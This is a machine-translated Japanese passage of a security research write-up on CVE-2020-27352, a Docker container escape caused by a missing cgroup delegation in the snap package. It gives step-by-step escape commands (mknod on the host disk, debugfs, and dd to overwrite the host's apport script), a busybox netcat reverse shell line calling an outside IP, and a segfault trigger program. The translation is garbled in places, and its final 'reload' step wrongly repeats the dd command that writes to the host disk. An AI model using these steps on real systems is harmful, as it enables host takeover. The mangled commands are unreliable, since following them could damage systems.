Docker の脱獄、気づきましたか?

[[422795]]

この記事はWeChat公式アカウント「Xintai Cloud Service」から転載し、Xu Lei氏が翻訳したものです。この記事を転載する場合は、Xintai Cloud Service公式アカウントまでご連絡ください。

Docker コンテナのセキュリティに関するインシデントにより、かつては安定性とセキュリティで知られていた Docker は、特権の脆弱性を持つコンテナ エンジンに変貌し、ホスト上でコードが実行される原因となった CVE-2020-27352 のセキュリティ脆弱性と同様に、基盤となるホスト マシンに直接アクセスできるようになりました。一夜にして、Docker コンテナのセキュリティは無意味になりました。

Docker は一晩で cgroup を変更し、権限を昇格してホストへのルート アクセスを取得できるようになりました。 cgroups を悪用してホスト上でリバース シェルを実行し、コードを実行することができました。

この問題は、Canonical の Snap の設定エラーによって発生し、多くの製品に影響を及ぼします。 CVE-2020-27352が割り当てられています

CVE-2020-27352

docker 用の systemd サービス ユニットを生成するときに、snapd は「Delegate=yes」を指定しなかったため、結果として systemd はこれらのコンテナーのプロセスをメイン デーモンの cgroup に移動しました。システム ユニットを再ロードすると、自動調整が行われます。これにより、スナップショット内のコンテナに意図しない追加の権限が付与される可能性があります。

1. Linux コンテナ – 名前空間と cgroup

Docker は cgroup と名前空間を使用して、安全で信頼性が高く、強力な分離フレームワークを作成します。軽量コンテナを構築するには、効果的なリソース管理と分離を実現する必要があります。システム環境を仮想化できるようにするために、Linux カーネルは名前空間と cgroup を使用した低レベルの分離メカニズムを提供します。

基本的に、名前空間は、ネットワーク インターフェイス、プロセス ツリー、ユーザー ID、ファイル システム マウントなどのさまざまなシステム エンティティへの Linux プロセス ツリーのアクセスと可視性を制限するためのメカニズムです。

一方、Linux の cgroups 機能は、プロセス グループのリソース使用量を制限するだけでなく、管理および記録するメカニズムも提供します。 CPU 時間、システム メモリ、ディスク帯域幅、ネットワーク帯域幅などのシステム リソースを制限および監視します。

これにより、cgroup は非常に安全であるように見えます。そうですか？誰かが Docker コンテナ上で cgroup を誤って構成した場合はどうなりますか?

Docker の「セキュリティ」ウェブページで cgroups について何と言っているか見てみましょう。

これらは、あるコンテナが別のコンテナのデータやプロセスにアクセスしたり影響を与えたりすることを防ぎ、特定のサービス拒否攻撃から防御するために重要です。これらは、一部のアプリケーションが異常な動作をした場合でも一貫した稼働時間を確保する必要があるパブリックおよびプライベート PaaS などのマルチテナント プラットフォームでは特に重要です。

つまり、Docker コンテナの cgroup 構成が間違っていると、最悪のシナリオとしてサービス拒否に直面することになります。

2. デバイス cgroup の特殊なケース

cgroup はリソースのアカウンティングと制限を実装するためのメカニズムとして説明されていますが、「カーネル」cgroup ドキュメントの「デバイス」cgroup (「デバイス ホワイトリスト コントローラー」とも呼ばれます) は特別です。したがって、デバイス cgroup の役割は次のように説明されます。

デバイス ファイルのオープンおよび mknod 制限を追跡および適用するために cgroup を実装します..."

Red Hat Linux ガイドでは、この不明瞭な定義について次のように説明しています。

デバイス サブシステムは、cgroup 内のタスクによるデバイスへのアクセスを許可または拒否します。

カーネル cgroups のドキュメントに戻ると、次のことがはっきりとわかります。

アクセス権は、r、w、m の組み合わせです。

正確に言うと、セキュリティの観点から、Linux カーネルのデバイスへのすべてのアクセスは、作成、読み取り、書き込みのいずれであっても禁止される必要があります。

このホワイトリスト メカニズムによって制御されるデバイスは、カーネルによって使用される任意のデバイスになります。これには、/dev/null や /dev/zero などの安全なデバイスのほか、USB デバイス (/dev/uhid など)、CD-ROM (/dev/cdrom)、さらにはカーネルのハード ディスク (/dev/sda デバイスなど) も含まれます。

要約: デバイス cgroup は、cgroup サブシステムの特別なコンポーネントです。これは、「リソースの計算と制限」メカニズムであるだけでなく、カーネル デバイスのホワイトリスト コントローラーでもあるため、システム リソースの枯渇よりも大きな損害を引き起こす可能性があります。

3. Dockerのデフォルトコンテナからホスト上のRCEへ

Systemd は Linux の初期化ソフトウェアであり、システムに多くのシステム コンポーネントを提供します。これは、異なる Linux ディストリビューション間のサービス構成を統一することを目的としており、ほとんどの Linux ディストリビューションで広く採用されています。

Systemd の主要コンポーネントの 1 つはサービス マネージャーです。これは、システムの初期化、システム ユーザー スペースの起動、ユーザー プロセスの管理に使用されます。

systemd は、その動作の一環として、さまざまな cgroup の監視を作成および管理します。 Systemd の cgroup 管理哲学は、systemd の公式 Web サイトで引用されている「シングル ライター ルール」を含むいくつかの設計アイデアに基づいています。

単一ライター ルール: これは、各 cgroup に単一のライター (つまり、それを管理するプロセスが 1 つ) しかないことを意味します。特定の cgroup を所有できるのは 1 つのプロセスのみであり、その cgroup を所有している場合、そのプロセスは排他的であり、同時に他のプロセスがその cgroup を操作することはできません。

このルールは Docker システムに大きな影響を与えます。

コンテナ マネージャーがシステム cgroup 内で cgroup を作成して管理する場合、cgroup は systemd によって管理され、他のすべてのユーザーに対して制限がないため、ルールに違反することになります。

システムの cgroup 階層内の cgroup を管理する systemd の制御下にあるコンテナ ランタイムはこのルールに違反し、systemd による cgroup の管理を妨げる可能性があります。ご想像のとおり、誤って設定された systemd サービスは、作成した cgroup を管理しているように見えますが、実際には、systemd がすべてを上から監視しています。つまり、サービスの下にある cgroup は管理、作成、削除されますが、上位層はそれに気づきません。

これがコンテナ変換の核心です。

systemd がユニットをリロードすると、まず混乱した cgroup をクリーンアップし、子 cgroup で生成されたすべてのプロセスを上位の cgroup に移動します。特に、systemd が dockerd サービスを管理する場合、リロード時にすべての docker コンテナの cgroup がクリアされ、コンテナ プロセスは cgroup サブシステム階層の上位に残ります。

systemd が突然リロードするのはなぜですか?

システムの再インストールは、人々が考えるよりも複雑です。サービスの有効化、無効化、サービス依存関係の追加などを行った後、サービスの設定ファイルを再読み込みします。つまり、何らかの原因でシステム サービスに変更が生じた場合、あまりアクティブでないサービスも影響を受ける可能性があります。

Debian の「unattended-upgrades」は、この種のものの有名な例です。

Unattended-upgrades は Debian パッケージ管理システムであり、その主な目的は「最新のセキュリティ (およびその他の) アップデートでコンピューターを自動的に最新の状態に保つこと」です。

無人アップグレードは、事前に設定された時間に 1 回実行される定期的なタスクです。セキュリティ アップデートを自動的にダウンロードしてインストールし、Ubuntu デスクトップやサーバー システムを含むさまざまなシステムでデフォルトで有効になっています。一部のサービスをアップグレードすると、systemd ユニット構成が変更され、次のように systemd によってシステム全体がリロードされます。

 $ sudo journalctl -u apt-daily-upgrade.service
 12月10日 08:49:42 ubuntu systemd[1]: 毎日のaptアップグレードとクリーンアクティビティを開始しています...
 12月10日 08:55:51 ubuntu systemd[1]: apt-daily-upgrade.service: 成功しました。
 12月10日 08:55:51 ubuntu systemd[1]: 毎日のaptアップグレードとクリーンアクティビティが完了しました。

上記のように、Ubuntu の毎日の更新サービスは 08:49:42 に開始されました。このプロセスでは、必須のアップグレードやダウンロードするアプリがあるかどうかを確認します。自動アップグレード プロセスの結果は次のとおりです。

ページャーを使用しないgrep "systemd\[1\]: 再ロード中\."  
 12月10日 08:50:47 ubuntu systemd[1]: 再ロードしています。
 12月10日 08:50:48 ubuntu systemd[1]: 再ロードしています。
 12月10日 08:50:50 ubuntu systemd[1]: 再ロードしています。

毎日の自動アップグレードにより、systemd のリロードは 8:50 に継続的に実行されます。皮肉なことに、ここでセキュリティ侵害が発生します。

考えられる解決策

システム開発者は、一部のサービスが独自の cgroup を管理する必要があることに気づき、systemd がこれらのサービスの cgroup サブツリーを委任できるようにしました。委任された cgroup 自体は systemd によって管理されますが、systemd の Web サイトで説明されているように、プログラムは systemd からの干渉を受けずにその中にサブ cgroup を自由に作成できます。

systemd は cgroup ツリーのサブツリーを操作しなくなります。その下にある cgroup のプロパティを変更したり、その下にある cgroup を作成または削除したり、有用であると判断した場合でもサブツリー境界を越えてプロセスを移行したりすることはありません。

ランタイム (Docker など) が systemd から cgroup 委任を要求し、独自の cgroup を管理する権限を取得できるようにします。実際、さまざまなパッケージ マネージャーで確認した Docker Engine パッケージのほとんどではこのオプションがデフォルトで有効になっているため、この特定の脆弱性の影響を受けません。

Snap は、Canonical チームによって Linux ベースのシステム向けに開発されたソフトウェア パッケージ化および展開システムです。 Ubuntu、Manjaro、Zorin OS など、さまざまな Linux ディストリビューションですぐにサポートされます。また、CentOS、Debian、Fedora、Kali Linux、Linux Mint、Pop!_OS、Raspbian、Red Hat Enterprise Linux、openSUSE など、他の多くのディストリビューションでも利用できます。多くの有名なソフトウェア企業が Snap Store でソフトウェアを販売しています。

Docker 17.03 以降では、Snap リポジトリでも独自の Docker エンジンとクライアント パッケージが提供されるようになりました。

Snap には systemd との統合が組み込まれており、デーモンを含むパッケージが自分自身を systemd ユニットとして登録できます。このような snap パッケージがインストールされると、snapper デーモン (snapd) がそのパッケージのデーモンに代わって systemd ユニット ファイル (systemd 構成ファイル) を生成します。

ただし、現時点では snapd は systemd ユニット ファイルの Delegate オプションをサポートしていません。

Cgroup 構成エラー

スナップショットにこの機能がないため、Docker スナップショットはコンテナ cgroup を個別に管理できず、systemd がこれらの cgroup の所有権を取得し、この誤った構成を公開することになります。

問題の原因を特定したので、証拠をいくつか調べてみましょう。 /proc/で見つけることができます/cgroup の下にある Docker コンテナの cgroup を確認します。

 12:フリーザー:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 11:CPU、CPUacct:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 10:pids:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 9:blkio:/system.slice/snap.docker.dockerd.service
 8:cpuset:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136 です
7:デバイス:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 6:hugetlb:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136 のファイル
5:rdma:/
 4:メモリ:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 3:perf_event:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 2:net_cls、net_prio:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 1:名前=systemd:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 0::/system.slice/snap.docker.dockerd.service

上記の例では、デバイス cgroup が Docker の下のフォルダーとコンテナ ID (ba339…) にマッピングされていることが明確にわかります。これは、Docker デーモンが cgroup を管理するときに期待される正しいマッピングです。

私たちのシステムでは、systemd が Docker のコンテナ cgroup を自発的に引き継ぐ可能性があり、次のような結果になります。

 12:フリーザー:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 11:cpu、cpuacct:/system.slice/snap.docker.dockerd.service
 10:pids:/system.slice/snap.docker.dockerd.service
 9:blkio:/system.slice/snap.docker.dockerd.service
 8:cpuset:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136 です
7:デバイス:/system.slice/snap.docker.dockerd.service
 6:hugetlb:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136 のファイル
5:rdma:/
 4:メモリ:/system.slice/snap.docker.dockerd.service
 3:perf_event:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 2:net_cls、net_prio:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 1:名前=systemd:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
 0::/system.slice/snap.docker.dockerd.service

「a」はすべてのタイプのデバイスを表し、「*:*」はホスト上で使用可能なすべてのデバイスを意味し、「rwm」はすべてのデバイスからの読み取り、すべてのデバイスへの書き込み、および Mknod (新しいデバイスの作成) が許可されていることを意味します。

• 攻撃開始

cgroup の設定ミスにより、デフォルトの Docker コンテナが、コンテナ環境やその基盤となるホストにとって、より脅威的で攻撃的なものになってしまいます。

攻撃を説明するために、デフォルトの Docker コンテナ内で悪意のあるプロセスが実行されていると仮定します。攻撃は次の 4 つのフェーズで発生します。

コンテナ内で、基盤となるホストのハードディスクに対応するデバイスを作成します。

core_pattern カーネル ファイルの内容を読んで、それを悪用できるかどうか確認してみましょう。

カーネルのコア ダンプ ファイル メカニズムを利用して、攻撃マシン上にリバース シェルを生成します。

セグメンテーション エラーを生成して、カーネルがコア ダンプを生成し、ホストを制御できるようにします。

• フェーズ 1: デバイスの作成

ホストがルート デバイスとして使用しているデバイスを確認する最良の方法は、/proc/cmdline ファイルを調べることです。

 root@ba3398f7201b:/tmp# cat /proc/cmdline
 BOOT_IMAGE=/boot/vmlinuz-5.9.0 root=UUID=43796265-7241-726b-204c-6162732052756c65 ro find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US quiet

ここで、ルート UUID を指定して findfs を使用して実際の Linux デバイスを見つける必要があります。

 root@ba3398f7201b:/tmp# findfs UUID=43796265-7241-726b-204c-6162732052756c65
 /dev/sda5

また、mount と lsblk を使用するだけで、ホストのハード ドライブ デバイスを見つけることもできます。

次にデバイスを作成します。

 root@ba3398f7201b:/tmp# mknod /dev/sda5 b 8 5

• ステージ2: Linuxコアダンプファイルメカニズムの悪用

ほとんどの GNU/Linux システムでは、一部のユーザー プロセスがクラッシュすると、カーネルがコア ダンプ ファイルを生成します。たとえば、無効なメモリ アクセス (SIGSEGV) が原因でアプリケーションがクラッシュすると、コア ファイルが生成されます。このコア ダンプ ファイルには、終了時のプロセスのメモリのイメージが含まれており、アプリケーションのクラッシュのデバッグに役立ちます。このような障害信号はコンテナ内部から簡単に生成できます。

/proc/sys/kernel/ にある core_pattern ファイルは、コア ダンプ ファイル名のパターンを指定するために使用されます。意図された corename フォーマット指定子を使用して、コア ダンプ ファイルを生成するときにカーネルが使用する正確なファイル名を決定できますが、core_pattern ファイルの最初の文字がパイプ '|' の場合、カーネルはパターンの残りの部分を実行するコマンドとして扱います。

core_pattern ファイルを確認しましょう:

 root@ba3398f7201b:/tmp# cat /proc/sys/kernel/core_pattern
 /usr/share/apport/apport %p %s %c %d %P %E

したがって、コア ダンプが生成されるたびに、カーネルは /usr/share/ にある apport ファイルを実行します。これで、ホストのハード ドライブにアクセスできるようになり、apport ファイルを読み取って変更できるかどうかを確認できるようになります。

• ステージ3: apportファイルにアクセスして引き継ぐ

この段階では、ハード ドライブ デバイスからの直接読み取りと書き込みをサポートする特別なファイル システム デバッグ ユーティリティである debugfs を使用します。

 root@ba3398f7201b:/tmp# デバッグファイル /dev/sda5
 debugfs 1.42.12 (2014 年 8 月 29 日)
デバッグ:

debugfs プロンプトはシェルプロンプトと同じように使用できます。したがって、/usr/share/apport/ に変更します。

 debugfs: cd /usr/share/apport

次に、stat を使用して apport ファイルに関する情報を取得します。

 debugfs: 統計レポート
Inode: 1180547 タイプ: 通常 モード: 0755 フラグ: 0x80000
世代: 3835493899 バージョン: 0x00000000:00000001
ユーザー: 0グループ: 0サイズ: 29776
ファイル ACL: 0 ディレクトリ ACL: 0 リンク: 1 ブロック数: 64
フラグメント: アドレス: 0 番号: 0サイズ: 0
 ctime: 0x5fe09286:061f76dc -- 2020 年 12 月 21 日月曜日 12:18:14  
 atime: 0x5fe1e665:32c27c14 -- 2020 年 12 月 22 日火曜日 12:28:21  
 mtime: 0x5fe09286:061f76dc -- 2020 年 12 月 21 日月曜日 12:18:14  
 crtime: 0x5fb63c3a:359629b8 -- 2020 年 11 月 19 日木曜日 09:34:50  
サイズ 追加のinode フィールド: 32
範囲:
 (0-7):5330129-5330136

この情報を使用して、基盤となるホスト ハード ドライブから apport ファイルを読み書きします。

これを行うには、Linux ユーティリティ dd を使用します。これにより、Linux デバイスから特定の情報を読み書きできるようになります。

 root@ba3398f7201b:/tmp# dd if=/dev/sda5 skip=42641032 count =64 / =/tmp/apport

コンテナ内の /tmp/apport に apport ファイル全体が保存されたので、その内容を確認してみましょう。

 root@ba3398f7201b:/tmp# cat apport |もっと
#!/usr/bin/python3 
 
 # クラッシュに関する情報を収集し、  ディレクトリにレポートを作成する
# apport.fileutils.report_dirによって指定されます。
 # 詳細については、 https://wiki.ubuntu.com/Aport を参照してください。
 #
 # 著作権 (c) 2006 - 2016 Canonical Ltd.
 # 著者: Martin Pitt <[email protected]>
 #
 # このプログラムは フリーソフトウェア。再配布したり、  それを修正する
# GNU General Public Licenseの条項に基づき、
 #フリーソフトウェア財団;ライセンスのバージョン2 、または（
 #オプション)以降のバージョン。 http://www.gnu.org/copyleft/gpl.htmlを参照してください。  
 #ライセンスの全文。 
 
 sys、os、os.path、subprocess、 time 、traceback、pwd、ioをインポートします。
 signal、inspect、grp、fcntl、socket、atexit、array、struct をインポートします。
 errno、argparse をインポートする
インポートapport、apport.fileutils
 #
 # 関数
 - もっと -  

ファイルは python3 スクリプトのように見えるので、netcat リバース シェルを実行するには os.system() 呼び出しを追加するだけです。ファイルのサイズを変更するつもりはないので、ファイルに追加した文字数と同じ数の文字をファイルから削除することも確認する必要があります。

攻撃マシンはポート 8081 で IP 13.57.1​​1.205 をリッスンしているので、次の行を追加します。

 os.system('/usr/bin/busybox nc 13.57.1​​1.205 8081 -e/bin/bash')

ファイルを保存します。

次に、ファイルをハードドライブにコピーし直す必要があります。これを行うには、再度「dd」を使用します。

 root@ba3398f7201b:/tmp# dd of =/dev/sda5 シーク=42641032カウント=64 if=/tmp/apport

入力ファイル (if) と出力ファイル (of) が入れ替わり、'skip' の代わりに 'seek' が使用されていることに注意してください。

これで、ホストのファイル システムにファイルを復元する Apport が作成されたので、4 段階の攻撃の準備が整いました。

• フェーズ4: 兵器化

作成したセットアップを武器化するには、セグメンテーション エラーを生成するだけです。

これは、次の短い C コードをコンパイルして実行することで実現できます。

 int main(void) は、
 {
文字*aaa = 0;
     *aaa = 0;
 1 を返します。 // この行に到達してはいけません…
 }

Docker のデフォルト コンテナに対する脆弱性を武器化することに成功した後、私たちは他のどのコンテナ/サンドボックス ベンダーにも脆弱性があるかを調べることにしました。 Kubernetes、microk8s、および廃止された AWS IoT Greengrass V1 もこの問題の影響を受けており、このタイプの攻撃に対して脆弱です。

結論: Canonical の Snap パッケージ マネージャーを使用してパッケージを管理している場合、システムが CVE-2020-27352 に対して脆弱になる可能性があります。これは、コンテナーに関する重大な脆弱性であり、数百万台の Linux デスクトップとサーバーに影響を及ぼす可能性があります。

コンテナのセキュリティは、Linux 初期化およびサービス マネージャー、Linux パッケージ マネージャーを含むシステム全体の構成と同じくらい安全です。これまで示したように、システム全体 (Docker のシステムだけでなく) がコンテナ フレームワークの複数の要件をサポートするように構成されていることを確認する必要があります。

Linux システムが正しく構成されていない場合は、一時的な回避策として、次のコマンドを使用してシステム Docker サービス ユニット ファイルを手動で編集できます。

 contena@ubuntu: $ sudo systemctl edit snap.docker.dockerd.service

次に、次の行を追加します: Delegate = yes。ファイルを保存し、次のコマンドを使用して再ロードします。

 root@ba3398f7201b:/tmp# dd of =/dev/sda5 シーク=42641032カウント=64 if=/tmp/apport

元記事: https://www.cyberark.com/resources/threat-research-blog/the-strange-case-of-how-we-escaped-the-docker-default-container